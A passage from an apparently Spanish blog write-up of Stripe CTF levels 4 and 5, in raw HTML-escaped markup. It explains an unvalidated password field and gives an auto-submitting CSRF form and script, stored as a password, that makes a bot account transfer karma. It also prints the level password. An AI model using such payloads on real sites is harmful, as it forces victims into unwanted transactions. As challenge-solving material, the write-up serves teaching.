&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;DB&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;karma &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;karma &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; amount&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;El campo from no se pasa por parámetro y no podemos manipularlo. Por otro lado, el registro de usuarios se hace mediante:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;post &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;/register&#39;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;do&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; username &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; password &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;unless&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; username &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; password
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Please specify both a username and a password.&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;unless&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; username &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=~&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;/^&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\w&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Invalid username. Usernames must match /^\w+$/&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;unless&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;DB&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;username &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; username&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;count &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;This username is already registered. Try another one.&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;A diferencia del username, la contraseña no se está validando.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Por lo tanto, el objetivo es mediante un ataque de Cross-Site Request Forgery forzar a que el usuario karma_fountain nos haga una transferencia. Para ello, creamos un usuario con contraseña:&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;tag&quot; style=&quot;color: #000088;&quot;&gt;&amp;lt;form&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot; style=&quot;color: #660066;&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot; style=&quot;color: #008800;&quot;&gt;&quot;https://level04-4.stripe-ctf.com/user-lkfvmdujam/transfer&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot; style=&quot;color: #660066;&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot; style=&quot;color: #008800;&quot;&gt;&quot;post&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot; style=&quot;color: #660066;&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot; style=&quot;color: #008800;&quot;&gt;&quot;pr&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot; style=&quot;color: #000088;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;tag&quot; style=&quot;color: #000088;&quot;&gt;&amp;lt;input&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot; style=&quot;color: #660066;&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot; style=&quot;color: #008800;&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot; style=&quot;color: #660066;&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot; style=&quot;color: #008800;&quot;&gt;&quot;to&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot; style=&quot;color: #660066;&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot; style=&quot;color: #008800;&quot;&gt;&quot;david&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;tag&quot; style=&quot;color: #000088;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;tag&quot; style=&quot;color: #000088;&quot;&gt;&amp;lt;input&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot; style=&quot;color: #660066;&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot; style=&quot;color: #008800;&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot; style=&quot;color: #660066;&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot; style=&quot;color: #008800;&quot;&gt;&quot;amount&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot; style=&quot;color: #660066;&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot; style=&quot;color: #008800;&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;tag&quot; style=&quot;color: #000088;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;tag&quot; style=&quot;color: #000088;&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;tag&quot; style=&quot;color: #000088;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
            document&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;pr&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;submit&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;tag&quot; style=&quot;color: #000088;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Y hacemos una donación al usuario karma_fountain para que reciba nuestro código mediante la contraseña. El usuario karma_fountain es un bot que se conecta periódicamente por lo que nos realizará la transferencia.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;La password ZXVuTozhJX.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: medium; line-height: 22.390625px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Nivel 5:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Many attempts have been made at creating a federated identity system for the web (see OpenID, for example). However, none of them have been successful. Until today.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;The DomainAuthenticator is based off a novel protocol for establishing identities. To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either &quot;AUTHENTICATED&quot; or &quot;DENIED&quot;. If &quot;AUTHENTICATED&quot;, the site considers you signed in as a user for the pingback domain.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;You can check out the Stripe CTF DomainAuthenticator instance here: https://level05-1.stripe-ctf.com/user-ujgjbpdotv. We&#39;ve been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine...&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. Though, you&#39;ve heard that someone forgot to internally firewall off the high ports from the Level 2 server.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Interesting in setting up your own DomainAuthenticator? You can grab the source from git clone https://level05-1.stripe-ctf.com/user-ujgjbpdotv/level05-code, or by reading on below&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Por la introducción no se tiene muy claro que hay que hacer, revisando el código se extrae:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Necesitamos que se cumpla la condición “&lt;b&gt;if&lt;/b&gt;&amp;nbsp;host =~&amp;nbsp;&lt;b&gt;PASSWORD_HOSTS&lt;/b&gt;” para que nos muestre la contraseña:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; user &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; session&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;auth_user&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
